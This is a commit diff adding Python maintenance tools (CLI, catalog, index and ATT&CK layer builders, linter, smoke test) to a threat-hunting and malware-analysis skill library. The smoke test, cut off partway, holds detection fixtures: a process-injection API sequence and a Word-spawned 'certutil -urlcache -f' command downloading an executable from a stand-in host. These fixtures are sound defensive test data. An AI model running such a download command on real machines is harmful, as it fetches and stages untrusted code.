vlad/reverse-skills-max
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

reverse-skills-max: initial public release (restored, redacted, hardened)

Browse Source
This commit is contained in:
baradok609hecl1pq6qi
2026-10-20 02:17:15 +03:00
commit da24c2bd20
2227 changed files with 443931 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

220
vendor-new/analyst-ai-pack/tools/analyst-pack.py Normal file
View File

@@ -0,0 +1,220 @@
#!/usr/bin/env python3
"""analyst-pack: the unified command-line entry point for the AnalystAIPack skill library.
A single front door to discover and run the library's skills and maintenance tools. This is
AnalystAIPack's signature CLI — it wraps the per-skill ``scripts/analyst.py`` tools and the
repository utilities behind one consistent interface.
Commands:
list [--subdomain S] [--tag T] List skills (optionally filtered).
show <skill> Print a skill's summary, ATT&CK IDs, and script commands.
run <skill> [-- ARGS...] Run a skill's analyst.py with the given arguments.
search <query> Full-text search over skill names and descriptions.
stats Print library statistics (counts, coverage).
lint Lint all skills (delegates to lint-skills.py).
build Rebuild index.json, CATALOG.md, and the ATT&CK layer.
Examples:
python tools/analyst-pack.py list --subdomain threat-hunting
python tools/analyst-pack.py show hunting-lolbin-abuse-on-windows
python tools/analyst-pack.py run identifying-cryptographic-routines-in-binaries -- scan a.bin
python tools/analyst-pack.py search kerberos
Stdlib only. Reuses read_frontmatter from lint-skills.py for consistent parsing.
"""
from __future__ import annotations
import argparse
import glob
import importlib.util
import os
import re
import subprocess
import sys
REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
SKILLS_DIR = os.path.join(REPO_ROOT, "skills")
PY = sys.executable
def _load_read_frontmatter():
path = os.path.join(REPO_ROOT, "tools", "lint-skills.py")
spec = importlib.util.spec_from_file_location("lint_skills", path)
module = importlib.util.module_from_spec(spec)
assert spec and spec.loader
spec.loader.exec_module(module)
return module.read_frontmatter
read_frontmatter = _load_read_frontmatter()
def _skill_dirs() -> list[str]:
return sorted(d for d in glob.glob(os.path.join(SKILLS_DIR, "*")) if os.path.isdir(d))
def _load_skill(skill_dir: str) -> dict | None:
skill_md = os.path.join(skill_dir, "SKILL.md")
if not os.path.isfile(skill_md):
return None
with open(skill_md, encoding="utf-8") as fh:
data, err = read_frontmatter(fh.read())
if err or not data:
return None
data["_dir"] = skill_dir
data["_name"] = data.get("name", os.path.basename(skill_dir))
return data
def _all_skills() -> list[dict]:
out = []
for d in _skill_dirs():
s = _load_skill(d)
if s:
out.append(s)
return out
def _summary(description: str) -> str:
desc = " ".join(str(description).split())
idx = desc.find(". Activates")
return desc[:idx + 1] if idx != -1 else desc
def cmd_list(args) -> int:
skills = _all_skills()
if args.subdomain:
skills = [s for s in skills if s.get("subdomain") == args.subdomain]
if args.tag:
skills = [s for s in skills if args.tag in (s.get("tags") or [])]
by_sub: dict[str, list[dict]] = {}
for s in skills:
by_sub.setdefault(s.get("subdomain", "?"), []).append(s)
for sub in sorted(by_sub):
print(f"\n{sub} ({len(by_sub[sub])})")
for s in sorted(by_sub[sub], key=lambda x: x["_name"]):
print(f" {s['_name']}")
print(f"\nTotal: {len(skills)} skill(s)")
return 0
def cmd_show(args) -> int:
skill_dir = os.path.join(SKILLS_DIR, args.skill)
s = _load_skill(skill_dir)
if not s:
print(f"Skill not found: {args.skill}", file=sys.stderr)
return 1
print(f"# {s['_name']}")
print(f"subdomain: {s.get('subdomain', '')}")
print(f"tags: {', '.join(s.get('tags') or [])}")
print(f"ATT&CK: {', '.join(s.get('mitre_attack') or []) or '-'}")
print(f"D3FEND: {', '.join(s.get('d3fend') or []) or '-'}")
print(f"\n{_summary(s.get('description', ''))}")
script = os.path.join(skill_dir, "scripts", "analyst.py")
if os.path.isfile(script):
print("\nScript commands:")
proc = subprocess.run([PY, script, "--help"], capture_output=True, text=True)
print(" " + "\n ".join(proc.stdout.strip().splitlines()))
return 0
def cmd_run(args) -> int:
script = os.path.join(SKILLS_DIR, args.skill, "scripts", "analyst.py")
if not os.path.isfile(script):
print(f"No analyst.py for skill: {args.skill}", file=sys.stderr)
return 1
return subprocess.run([PY, script, *args.args]).returncode
def cmd_search(args) -> int:
q = args.query.lower()
hits = []
for s in _all_skills():
haystack = (s["_name"] + " " + str(s.get("description", "")) + " "
+ " ".join(s.get("tags") or [])).lower()
if q in haystack:
hits.append(s)
for s in sorted(hits, key=lambda x: x["_name"]):
print(f"{s['_name']} [{s.get('subdomain', '')}]")
print(f" {_summary(s.get('description', ''))}")
print(f"\n{len(hits)} match(es) for '{args.query}'")
return 0
def cmd_stats(args) -> int:
skills = _all_skills()
by_sub: dict[str, int] = {}
techniques: set[str] = set()
scripted = 0
for s in skills:
by_sub[s.get("subdomain", "?")] = by_sub.get(s.get("subdomain", "?"), 0) + 1
techniques.update(s.get("mitre_attack") or [])
if os.path.isfile(os.path.join(s["_dir"], "scripts", "analyst.py")):
scripted += 1
print(f"Total skills: {len(skills)}")
print(f"Runnable (analyst.py): {scripted}")
print(f"ATT&CK techniques: {len(techniques)}")
print("By subdomain:")
for sub in sorted(by_sub):
print(f" {sub}: {by_sub[sub]}")
return 0
def _delegate(rel_path: str, extra: list[str]) -> int:
return subprocess.run([PY, os.path.join(REPO_ROOT, rel_path), *extra]).returncode
def cmd_lint(args) -> int:
return _delegate("tools/lint-skills.py", ["--all"])
def cmd_build(args) -> int:
rc = 0
for tool in ("tools/build-index.py", "tools/build-catalog.py",
"tools/build-navigator-layer.py"):
rc |= _delegate(tool, [])
return rc
def main(argv: list[str] | None = None) -> int:
parser = argparse.ArgumentParser(prog="analyst-pack",
description="Unified CLI for the AnalystAIPack library")
sub = parser.add_subparsers(dest="cmd", required=True)
p = sub.add_parser("list", help="list skills")
p.add_argument("--subdomain")
p.add_argument("--tag")
p.set_defaults(func=cmd_list)
p = sub.add_parser("show", help="show a skill's details")
p.add_argument("skill")
p.set_defaults(func=cmd_show)
p = sub.add_parser("run", help="run a skill's analyst.py")
p.add_argument("skill")
p.add_argument("args", nargs=argparse.REMAINDER,
help="arguments passed to the skill script (after --)")
p.set_defaults(func=cmd_run)
p = sub.add_parser("search", help="search skills by text")
p.add_argument("query")
p.set_defaults(func=cmd_search)
p = sub.add_parser("stats", help="library statistics")
p.set_defaults(func=cmd_stats)
p = sub.add_parser("lint", help="lint all skills")
p.set_defaults(func=cmd_lint)
p = sub.add_parser("build", help="rebuild index/catalog/navigator")
p.set_defaults(func=cmd_build)
args = parser.parse_args(argv)
# Drop a leading "--" separator left by argparse.REMAINDER on `run`.
if getattr(args, "args", None) and args.args and args.args[0] == "--":
args.args = args.args[1:]
return args.func(args)
if __name__ == "__main__":
sys.exit(main())

143
vendor-new/analyst-ai-pack/tools/build-catalog.py Normal file
View File

@@ -0,0 +1,143 @@
#!/usr/bin/env python3
"""Generate CATALOG.md: a browsable index of every AnalystAIPack skill.
Scans skill frontmatter and writes a Markdown catalog grouped by subdomain, with each skill's
description, ATT&CK techniques, and a link to its SKILL.md. Run after adding or editing skills.
Usage:
python tools/build-catalog.py # write CATALOG.md
python tools/build-catalog.py --check # fail if CATALOG.md is out of date (CI)
Reuses read_frontmatter from lint-skills.py so parsing stays consistent. Stdlib only.
"""
from __future__ import annotations
import argparse
import glob
import importlib.util
import os
import sys
from collections import defaultdict
REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
CATALOG_PATH = os.path.join(REPO_ROOT, "CATALOG.md")
SUBDOMAIN_ORDER = ["lab-foundations", "malware-analysis", "reverse-engineering", "threat-hunting"]
SUBDOMAIN_TITLES = {
"lab-foundations": "Lab Foundations",
"malware-analysis": "Malware Analysis",
"reverse-engineering": "Reverse Engineering",
"threat-hunting": "Threat Hunting",
}
def _load_parser():
path = os.path.join(REPO_ROOT, "tools", "lint-skills.py")
spec = importlib.util.spec_from_file_location("lint_skills", path)
module = importlib.util.module_from_spec(spec)
assert spec and spec.loader
spec.loader.exec_module(module)
return module.read_frontmatter
read_frontmatter = _load_parser()
def _first_sentence(desc: str) -> str:
desc = " ".join(desc.split())
# Trim at the activation-trigger sentence to keep catalog rows concise.
for marker in (". Activates for", ". Activates when", ". Use when", ". Use this"):
idx = desc.find(marker)
if idx != -1:
return desc[:idx + 1]
return desc
def collect() -> dict[str, list[dict]]:
by_subdomain: dict[str, list[dict]] = defaultdict(list)
for skill_dir in sorted(glob.glob(os.path.join(REPO_ROOT, "skills", "*"))):
skill_md = os.path.join(skill_dir, "SKILL.md")
if not os.path.isfile(skill_md):
continue
with open(skill_md, encoding="utf-8") as fh:
data, err = read_frontmatter(fh.read())
if err or not data:
print(f"warning: skipping {os.path.basename(skill_dir)}: {err}", file=sys.stderr)
continue
rel = os.path.relpath(skill_dir, REPO_ROOT).replace(os.sep, "/")
by_subdomain[data.get("subdomain", "")].append({
"name": data.get("name", os.path.basename(skill_dir)),
"summary": _first_sentence(data.get("description", "")),
"attack": data.get("mitre_attack", []) or [],
"path": f"{rel}/SKILL.md",
})
for skills in by_subdomain.values():
skills.sort(key=lambda s: s["name"])
return by_subdomain
def build_catalog() -> str:
by_subdomain = collect()
total = sum(len(v) for v in by_subdomain.values())
lines = [
"# AnalystAIPack Skill Catalog",
"",
f"Auto-generated index of all **{total}** skills. Regenerate with "
"`python tools/build-catalog.py`.",
"",
"| Subdomain | Skills |",
"|---|---|",
]
ordered = [s for s in SUBDOMAIN_ORDER if s in by_subdomain]
ordered += [s for s in sorted(by_subdomain) if s not in SUBDOMAIN_ORDER]
for sub in ordered:
title = SUBDOMAIN_TITLES.get(sub, sub)
anchor = title.lower().replace(" ", "-")
lines.append(f"| [{title}](#{anchor}) | {len(by_subdomain[sub])} |")
lines.append("")
for sub in ordered:
title = SUBDOMAIN_TITLES.get(sub, sub)
skills = by_subdomain[sub]
lines.append(f"## {title}")
lines.append("")
lines.append(f"{len(skills)} skills.")
lines.append("")
lines.append("| Skill | What it does | ATT&CK |")
lines.append("|---|---|---|")
for s in skills:
attack = ", ".join(s["attack"]) if s["attack"] else "—"
summary = s["summary"].replace("|", "\\|")
lines.append(f"| [`{s['name']}`]({s['path']}) | {summary} | {attack} |")
lines.append("")
return "\n".join(lines) + "\n"
def main(argv: list[str] | None = None) -> int:
parser = argparse.ArgumentParser(description="Build CATALOG.md")
parser.add_argument("--check", action="store_true",
help="verify CATALOG.md is current without writing")
args = parser.parse_args(argv)
fresh = build_catalog()
if args.check:
if not os.path.isfile(CATALOG_PATH):
print("CATALOG.md missing; run: python tools/build-catalog.py")
return 1
with open(CATALOG_PATH, encoding="utf-8") as fh:
existing = fh.read()
if existing != fresh:
print("CATALOG.md is out of date; run: python tools/build-catalog.py")
return 1
print("CATALOG.md is current.")
return 0
with open(CATALOG_PATH, "w", encoding="utf-8") as fh:
fh.write(fresh)
count = fresh.count("| [`")
print(f"Wrote CATALOG.md with {count} skill row(s).")
return 0
if __name__ == "__main__":
sys.exit(main())

127
vendor-new/analyst-ai-pack/tools/build-index.py Normal file
View File

@@ -0,0 +1,127 @@
#!/usr/bin/env python3
"""Regenerate index.json from the skills/ directory.
Scans every skill's SKILL.md frontmatter and writes a machine-readable catalog at the
repository root. Run after adding or editing skills.
Usage:
python tools/build-index.py # write index.json
python tools/build-index.py --check # fail if index.json is out of date (CI)
Reuses the frontmatter parser from lint-skills.py so parsing stays consistent.
Stdlib only.
"""
from __future__ import annotations
import argparse
import datetime as _dt
import glob
import importlib.util
import json
import os
import sys
REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
def _load_parser():
"""Import read_frontmatter from the sibling linter module."""
path = os.path.join(REPO_ROOT, "tools", "lint-skills.py")
spec = importlib.util.spec_from_file_location("lint_skills", path)
module = importlib.util.module_from_spec(spec)
assert spec and spec.loader
spec.loader.exec_module(module)
return module.read_frontmatter
read_frontmatter = _load_parser()
def collect_skills() -> list[dict]:
skills: list[dict] = []
for skill_dir in sorted(glob.glob(os.path.join(REPO_ROOT, "skills", "*"))):
if not os.path.isdir(skill_dir):
continue
skill_md = os.path.join(skill_dir, "SKILL.md")
if not os.path.isfile(skill_md):
continue
with open(skill_md, encoding="utf-8") as fh:
data, err = read_frontmatter(fh.read())
if err or not data:
print(f"warning: skipping {os.path.basename(skill_dir)}: {err}",
file=sys.stderr)
continue
rel = os.path.relpath(skill_dir, REPO_ROOT).replace(os.sep, "/")
desc = data.get("description", "")
if isinstance(desc, str):
desc = " ".join(desc.split())
skills.append({
"name": data.get("name", os.path.basename(skill_dir)),
"description": desc,
"domain": data.get("domain", "cybersecurity"),
"subdomain": data.get("subdomain", ""),
"tags": data.get("tags", []),
"mitre_attack": data.get("mitre_attack", []),
"path": rel,
})
return skills
def build_index() -> dict:
skills = collect_skills()
by_subdomain: dict[str, int] = {}
for s in skills:
by_subdomain[s["subdomain"]] = by_subdomain.get(s["subdomain"], 0) + 1
return {
"name": "analyst-ai-pack",
"version": "0.1.0",
"generated_at": _dt.datetime.now(_dt.timezone.utc).strftime(
"%Y-%m-%dT%H:%M:%SZ"
),
"domain": "cybersecurity",
"total_skills": len(skills),
"skills_by_subdomain": dict(sorted(by_subdomain.items())),
"skills": skills,
}
def _serialize(index: dict) -> str:
# generated_at is excluded from equality checks so --check ignores timestamp drift.
return json.dumps(index, indent=2, ensure_ascii=False) + "\n"
def _comparable(index: dict) -> dict:
clone = dict(index)
clone.pop("generated_at", None)
return clone
def main(argv: list[str] | None = None) -> int:
parser = argparse.ArgumentParser(description="Build AnalystAIPack index.json")
parser.add_argument("--check", action="store_true",
help="verify index.json is current without writing")
args = parser.parse_args(argv)
index_path = os.path.join(REPO_ROOT, "index.json")
fresh = build_index()
if args.check:
if not os.path.isfile(index_path):
print("index.json missing; run: python tools/build-index.py")
return 1
with open(index_path, encoding="utf-8") as fh:
existing = json.load(fh)
if _comparable(existing) != _comparable(fresh):
print("index.json is out of date; run: python tools/build-index.py")
return 1
print(f"index.json is current ({fresh['total_skills']} skills).")
return 0
with open(index_path, "w", encoding="utf-8") as fh:
fh.write(_serialize(fresh))
print(f"Wrote index.json with {fresh['total_skills']} skill(s).")
return 0
if __name__ == "__main__":
sys.exit(main())

129
vendor-new/analyst-ai-pack/tools/build-navigator-layer.py Normal file
View File

@@ -0,0 +1,129 @@
#!/usr/bin/env python3
"""Generate a MITRE ATT&CK Navigator layer from skill frontmatter.
Scans every skill's SKILL.md for `mitre_attack` techniques and writes an ATT&CK Navigator
layer (https://mitre-attack.github.io/attack-navigator/) where each technique is scored by
the number of AnalystAIPack skills that cover it. The per-technique comment lists those skills.
Usage:
python tools/build-navigator-layer.py # write mappings/attack-navigator-layer.json
python tools/build-navigator-layer.py --check # fail if the layer is out of date (CI)
Reuses read_frontmatter from lint-skills.py so parsing stays consistent. Stdlib only.
"""
from __future__ import annotations
import argparse
import glob
import importlib.util
import json
import os
import sys
from collections import defaultdict
REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
LAYER_PATH = os.path.join(REPO_ROOT, "mappings", "attack-navigator-layer.json")
# Pinned framework versions for reproducibility; bump when intentionally retargeting.
ATTACK_VERSION = "15"
NAVIGATOR_VERSION = "5.1.0"
LAYER_VERSION = "4.5"
GRADIENT = ["#f2f5fa", "#66b1ff", "#0d4a9e"]
def _load_parser():
path = os.path.join(REPO_ROOT, "tools", "lint-skills.py")
spec = importlib.util.spec_from_file_location("lint_skills", path)
module = importlib.util.module_from_spec(spec)
assert spec and spec.loader
spec.loader.exec_module(module)
return module.read_frontmatter
read_frontmatter = _load_parser()
def collect_technique_coverage() -> dict[str, list[str]]:
"""Return {techniqueID: [skill-name, ...]} sorted for determinism."""
coverage: dict[str, set[str]] = defaultdict(set)
for skill_dir in sorted(glob.glob(os.path.join(REPO_ROOT, "skills", "*"))):
skill_md = os.path.join(skill_dir, "SKILL.md")
if not os.path.isfile(skill_md):
continue
with open(skill_md, encoding="utf-8") as fh:
data, err = read_frontmatter(fh.read())
if err or not data:
print(f"warning: skipping {os.path.basename(skill_dir)}: {err}", file=sys.stderr)
continue
name = data.get("name", os.path.basename(skill_dir))
for tech in data.get("mitre_attack", []) or []:
coverage[str(tech)].add(name)
return {tech: sorted(names) for tech, names in coverage.items()}
def build_layer() -> dict:
coverage = collect_technique_coverage()
max_score = max((len(v) for v in coverage.values()), default=1)
techniques = []
for tech in sorted(coverage):
skills = coverage[tech]
techniques.append({
"techniqueID": tech,
"score": len(skills),
"comment": "AnalystAIPack skills: " + ", ".join(skills),
"enabled": True,
"metadata": [{"name": "skills", "value": str(len(skills))}],
})
return {
"name": "AnalystAIPack Coverage",
"versions": {
"attack": ATTACK_VERSION,
"navigator": NAVIGATOR_VERSION,
"layer": LAYER_VERSION,
},
"domain": "enterprise-attack",
"description": ("ATT&CK technique coverage across the AnalystAIPack skill library. "
"Technique score = number of skills that reference the technique."),
"techniques": techniques,
"gradient": {"colors": GRADIENT, "minValue": 0, "maxValue": max_score},
"legendItems": [],
"showTacticRowBackground": True,
"tacticRowBackground": "#205b8f",
"selectTechniquesAcrossTactics": True,
"selectSubtechniquesWithParent": False,
}
def _serialize(layer: dict) -> str:
return json.dumps(layer, indent=2, ensure_ascii=False) + "\n"
def main(argv: list[str] | None = None) -> int:
parser = argparse.ArgumentParser(description="Build the ATT&CK Navigator layer")
parser.add_argument("--check", action="store_true",
help="verify the layer is current without writing")
args = parser.parse_args(argv)
fresh = build_layer()
if args.check:
if not os.path.isfile(LAYER_PATH):
print("attack-navigator-layer.json missing; run: python tools/build-navigator-layer.py")
return 1
with open(LAYER_PATH, encoding="utf-8") as fh:
existing = json.load(fh)
if existing != fresh:
print("attack-navigator-layer.json is out of date; run: "
"python tools/build-navigator-layer.py")
return 1
print(f"attack-navigator-layer.json is current ({len(fresh['techniques'])} techniques).")
return 0
os.makedirs(os.path.dirname(LAYER_PATH), exist_ok=True)
with open(LAYER_PATH, "w", encoding="utf-8") as fh:
fh.write(_serialize(fresh))
print(f"Wrote attack-navigator-layer.json with {len(fresh['techniques'])} technique(s).")
return 0
if __name__ == "__main__":
sys.exit(main())

335
vendor-new/analyst-ai-pack/tools/lint-skills.py Normal file
View File

@@ -0,0 +1,335 @@
#!/usr/bin/env python3
"""Lint AnalystAIPack SKILL.md files against the repository schema.
Checks frontmatter fields, kebab-case naming, framework-ID formats, and the required
body-section order described in CONTRIBUTING.md.
Usage:
python tools/lint-skills.py skills/my-skill
python tools/lint-skills.py --all
Exit code is non-zero if any skill fails linting. Stdlib only.
"""
from __future__ import annotations
import argparse
import glob
import os
import re
import sys
REQUIRED_FIELDS = ["name", "description", "domain", "subdomain", "tags", "version",
"author", "license"]
ALLOWED_SUBDOMAINS = {
"lab-foundations",
"malware-analysis",
"reverse-engineering",
"threat-hunting",
}
# Required body sections, in order. "Safety & Handling" is optional (sample-handling only).
REQUIRED_SECTIONS = [
"When to Use",
"Prerequisites",
"Workflow",
"Validation",
"Pitfalls",
"References",
]
KEBAB_RE = re.compile(r"^[a-z0-9]+(-[a-z0-9]+)*$")
ATTACK_RE = re.compile(r"^T\d{4}(\.\d{3})?$")
D3FEND_RE = re.compile(r"^D3-[A-Z]{1,6}$")
CAR_RE = re.compile(r"^CAR-\d{4}-\d{2}-\d{3}$")
DESCRIPTION_MIN_CHARS = 50
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
RESET = "\033[0m"
def _supports_color() -> bool:
return sys.stdout.isatty() and os.environ.get("NO_COLOR") is None
if not _supports_color():
RED = GREEN = YELLOW = RESET = ""
def _find_quote_close(segment: str, quote: str):
"""Return the index of the closing quote in ``segment`` or ``None`` if unclosed.
Honors YAML single-quoted escaping where a literal quote is written ``''``.
"""
i = 0
n = len(segment)
while i < n:
if segment[i] == quote:
if quote == "'" and i + 1 < n and segment[i + 1] == "'":
i += 2 # escaped doubled quote; skip both characters
continue
return i
i += 1
return None
def _unescape_quoted(value: str, quote: str) -> str:
return value.replace("''", "'") if quote == "'" else value
def read_frontmatter(text: str):
"""Parse the leading YAML frontmatter block into a dict.
Minimal stdlib parser handling the patterns AnalystAIPack SKILL.md files use:
scalars, inline ``[a, b]`` lists, block ``- item`` lists, folded ``>-`` scalars, and
multi-line single/double-quoted scalars (continuation lines joined with a space).
Returns ``(data, error)``; ``data`` is ``None`` when frontmatter is missing/malformed.
"""
if not text.startswith("---"):
return None, "missing frontmatter (file must start with '---')"
end = text.find("\n---", 3)
if end == -1:
return None, "unterminated frontmatter (no closing '---')"
block = text[3:end].strip("\n")
data: dict = {}
current_key: str | None = None
list_values: list[str] = []
in_folded = False
folded_lines: list[str] = []
in_quoted = False
quote_char = ""
quoted_parts: list[str] = []
def flush_list():
nonlocal current_key, list_values
if current_key is not None and list_values:
data[current_key] = list_values
list_values = []
def flush_folded():
nonlocal current_key, folded_lines, in_folded
if in_folded and current_key is not None and folded_lines:
data[current_key] = " ".join(folded_lines)
in_folded = False
folded_lines = []
def store_quoted():
nonlocal current_key, quoted_parts, in_quoted, quote_char
if current_key is not None:
joined = " ".join(quoted_parts).strip()
data[current_key] = _unescape_quoted(joined, quote_char)
in_quoted = False
quote_char = ""
quoted_parts = []
current_key = None
for raw in block.split("\n"):
line = raw.rstrip()
stripped = line.strip()
indented = raw.startswith(" ") or raw.startswith("\t")
# Multi-line quoted scalar continuation: consume until the closing quote.
if in_quoted:
close = _find_quote_close(stripped, quote_char)
if close is None:
quoted_parts.append(stripped)
else:
quoted_parts.append(stripped[:close])
store_quoted()
continue
if in_folded and stripped and not indented:
flush_folded()
if in_folded:
if stripped:
folded_lines.append(stripped)
continue
if stripped.startswith("- "):
list_values.append(stripped[2:].strip().strip("'\""))
continue
if ":" in stripped and not indented:
flush_list()
key, _, value = stripped.partition(":")
current_key = key.strip()
value = value.strip()
if value in (">-", ">", "|", "|-"):
in_folded = True
folded_lines = []
elif value.startswith("[") and value.endswith("]"):
items = value[1:-1].split(",")
data[current_key] = [i.strip().strip("'\"") for i in items if i.strip()]
current_key = None
elif value and value[0] in "'\"":
quote = value[0]
rest = value[1:]
close = _find_quote_close(rest, quote)
if close is None:
# Opens a multi-line quoted scalar; continue on following lines.
in_quoted = True
quote_char = quote
quoted_parts = [rest]
else:
data[current_key] = _unescape_quoted(rest[:close], quote)
current_key = None
elif value:
data[current_key] = value.strip("'\"")
current_key = None
# else: bare key, expect a block list on following lines
continue
flush_list()
flush_folded()
if in_quoted:
store_quoted()
return data, None
def _extract_sections(body: str) -> list[str]:
return [m.group(1).strip() for m in re.finditer(r"^##\s+(.+)$", body, re.MULTILINE)]
def lint_skill(skill_dir: str) -> list[str]:
"""Return a list of error strings for one skill directory (empty == valid)."""
errors: list[str] = []
folder = os.path.basename(os.path.normpath(skill_dir))
skill_md = os.path.join(skill_dir, "SKILL.md")
if not os.path.isfile(skill_md):
return [f"{folder}: missing SKILL.md"]
with open(skill_md, encoding="utf-8") as fh:
text = fh.read()
data, err = read_frontmatter(text)
if err:
return [f"{folder}: {err}"]
# Required fields present
for field in REQUIRED_FIELDS:
if field not in data or data[field] in (None, "", []):
errors.append(f"{folder}: missing required field '{field}'")
# name matches folder and is kebab-case
name = data.get("name", "")
if name and not KEBAB_RE.match(str(name)):
errors.append(f"{folder}: 'name' must be kebab-case (got '{name}')")
if name and name != folder:
errors.append(f"{folder}: 'name' ({name}) must match folder name ({folder})")
# domain / subdomain
if data.get("domain") != "cybersecurity":
errors.append(f"{folder}: 'domain' must be 'cybersecurity'")
subdomain = data.get("subdomain")
if subdomain and subdomain not in ALLOWED_SUBDOMAINS:
errors.append(
f"{folder}: 'subdomain' '{subdomain}' not in {sorted(ALLOWED_SUBDOMAINS)}"
)
# description length
desc = data.get("description", "")
if desc and len(desc) < DESCRIPTION_MIN_CHARS:
errors.append(
f"{folder}: 'description' too short (<{DESCRIPTION_MIN_CHARS} chars)"
)
# tags is a list of 3-8
tags = data.get("tags")
if isinstance(tags, list):
if not (3 <= len(tags) <= 8):
errors.append(f"{folder}: expected 3-8 tags (got {len(tags)})")
elif "tags" not in [e.split(":")[0] for e in errors]:
errors.append(f"{folder}: 'tags' must be a list")
# mitre_attack required and well-formed
attack = data.get("mitre_attack")
if not attack:
errors.append(f"{folder}: missing 'mitre_attack' (at least one technique)")
elif isinstance(attack, list):
for tid in attack:
if not ATTACK_RE.match(str(tid)):
errors.append(f"{folder}: invalid ATT&CK id '{tid}'")
# optional framework lists, validated when present
for fld, rx, label in (("d3fend", D3FEND_RE, "D3FEND"), ("car", CAR_RE, "CAR")):
vals = data.get(fld)
if isinstance(vals, list):
for v in vals:
if not rx.match(str(v)):
errors.append(f"{folder}: invalid {label} id '{v}'")
# body section presence + order
body = text[text.find("\n---", 3) + 4:]
found = _extract_sections(body)
found_required = [s for s in found if s in REQUIRED_SECTIONS]
missing = [s for s in REQUIRED_SECTIONS if s not in found]
if missing:
errors.append(f"{folder}: missing body sections: {', '.join(missing)}")
else:
order = [REQUIRED_SECTIONS.index(s) for s in found_required]
if order != sorted(order):
errors.append(f"{folder}: body sections out of order: {found_required}")
# companion files
if not os.path.isfile(os.path.join(skill_dir, "scripts", "analyst.py")):
errors.append(f"{folder}: missing scripts/analyst.py")
if not os.path.isfile(os.path.join(skill_dir, "references", "api-reference.md")):
errors.append(f"{folder}: missing references/api-reference.md")
if not os.path.isfile(os.path.join(skill_dir, "LICENSE")):
errors.append(f"{folder}: missing LICENSE")
return errors
def _iter_skill_dirs(root: str):
for path in sorted(glob.glob(os.path.join(root, "skills", "*"))):
if os.path.isdir(path):
yield path
def main(argv: list[str] | None = None) -> int:
parser = argparse.ArgumentParser(description="Lint AnalystAIPack skills")
parser.add_argument("paths", nargs="*", help="skill directories to validate")
parser.add_argument("--all", action="store_true", help="validate every skill")
args = parser.parse_args(argv)
repo_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if args.all:
targets = list(_iter_skill_dirs(repo_root))
elif args.paths:
targets = args.paths
else:
parser.error("provide skill directories or --all")
return 2
if not targets:
print(f"{YELLOW}No skills found to validate.{RESET}")
return 0
total_errors = 0
for skill_dir in targets:
errs = lint_skill(skill_dir)
folder = os.path.basename(os.path.normpath(skill_dir))
if errs:
total_errors += len(errs)
print(f"{RED}FAIL{RESET} {folder}")
for e in errs:
print(f" - {e}")
else:
print(f"{GREEN}PASS{RESET} {folder}")
print()
if total_errors:
print(f"{RED}{total_errors} problem(s) across {len(targets)} skill(s).{RESET}")
return 1
print(f"{GREEN}All {len(targets)} skill(s) valid.{RESET}")
return 0
if __name__ == "__main__":
sys.exit(main())

189
vendor-new/analyst-ai-pack/tools/smoke-test.py Normal file
View File

@@ -0,0 +1,189 @@
#!/usr/bin/env python3
"""Smoke-test every skill's scripts/analyst.py.
Two layers of checks, all offline and sample-free:
1. ``--help`` runs for every ``analyst.py`` (must exit 0). Catches import errors, argparse
misconfiguration, and syntax problems that ``ast`` alone would miss.
2. A curated set of scripts is exercised with generated fixtures via real subcommands so the
core parsing/analysis paths actually execute.
Usage:
python tools/smoke-test.py # run all checks
python tools/smoke-test.py --help-only # only the --help layer
Exit code is non-zero if any check fails. Stdlib only.
"""
from __future__ import annotations
import argparse
import glob
import json
import os
import subprocess
import sys
import tempfile
REPO_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
PY = sys.executable
def _agent_scripts() -> list[str]:
pattern = os.path.join(REPO_ROOT, "skills", "*", "scripts", "analyst.py")
return sorted(glob.glob(pattern))
def _run(args: list[str], cwd: str | None = None) -> subprocess.CompletedProcess:
return subprocess.run(args, capture_output=True, text=True, cwd=cwd or REPO_ROOT)
def help_layer() -> list[str]:
failures = []
scripts = _agent_scripts()
for script in scripts:
proc = _run([PY, script, "--help"])
if proc.returncode != 0:
rel = os.path.relpath(script, REPO_ROOT).replace(os.sep, "/")
failures.append(f"{rel}: --help exited {proc.returncode}\n{proc.stderr.strip()}")
print(f"[help] {len(scripts) - len(failures)}/{len(scripts)} analyst.py respond to --help")
return failures
def _skill_script(name: str) -> str:
return os.path.join(REPO_ROOT, "skills", name, "scripts", "analyst.py")
def _write(tmp: str, fname: str, content: str) -> str:
path = os.path.join(tmp, fname)
with open(path, "w", encoding="utf-8") as fh:
fh.write(content)
return path
def _expect_json(proc: subprocess.CompletedProcess, label: str, failures: list[str],
contains: list[str] | None = None) -> None:
if proc.returncode not in (0, 1): # 1 is allowed for "issues found" style tools
failures.append(f"{label}: exited {proc.returncode}\n{proc.stderr.strip()}")
return
try:
json.loads(proc.stdout)
except json.JSONDecodeError as exc:
failures.append(f"{label}: output is not valid JSON ({exc})")
return
for needle in contains or []:
if needle not in proc.stdout:
failures.append(f"{label}: expected '{needle}' in output")
def fixture_layer() -> list[str]:
"""Exercise a representative set of scripts with generated fixtures."""
failures: list[str] = []
checks = 0
with tempfile.TemporaryDirectory() as tmp:
# 1. API call trace classifier -> detects an injection sequence.
trace = _write(tmp, "trace.json", json.dumps(
["VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread"]))
proc = _run([PY, _skill_script("analyzing-api-call-traces"), "classify", trace])
_expect_json(proc, "analyzing-api-call-traces", failures,
contains=["remote_process_injection", "T1055.002"])
checks += 1
# 2. Telemetry baseliner -> builds a baseline file.
hist = _write(tmp, "hist.csv", "Image\nsvchost.exe\nsvchost.exe\nexplorer.exe\n")
base = os.path.join(tmp, "baseline.json")
proc = _run([PY, _skill_script("establishing-telemetry-baselines"),
"baseline", hist, "--field", "Image", "--out", base])
_expect_json(proc, "establishing-telemetry-baselines", failures,
contains=["distinct_values"])
checks += 1
# 3. LOLBin hunter -> scores certutil-from-Word.
events = _write(tmp, "events.csv",
"Image,CommandLine,ParentImage\n"
"C:\\Windows\\System32\\certutil.exe,"
"certutil -urlcache -f http://x/y.exe,"
"C:\\Windows\\System32\\WINWORD.EXE\n")
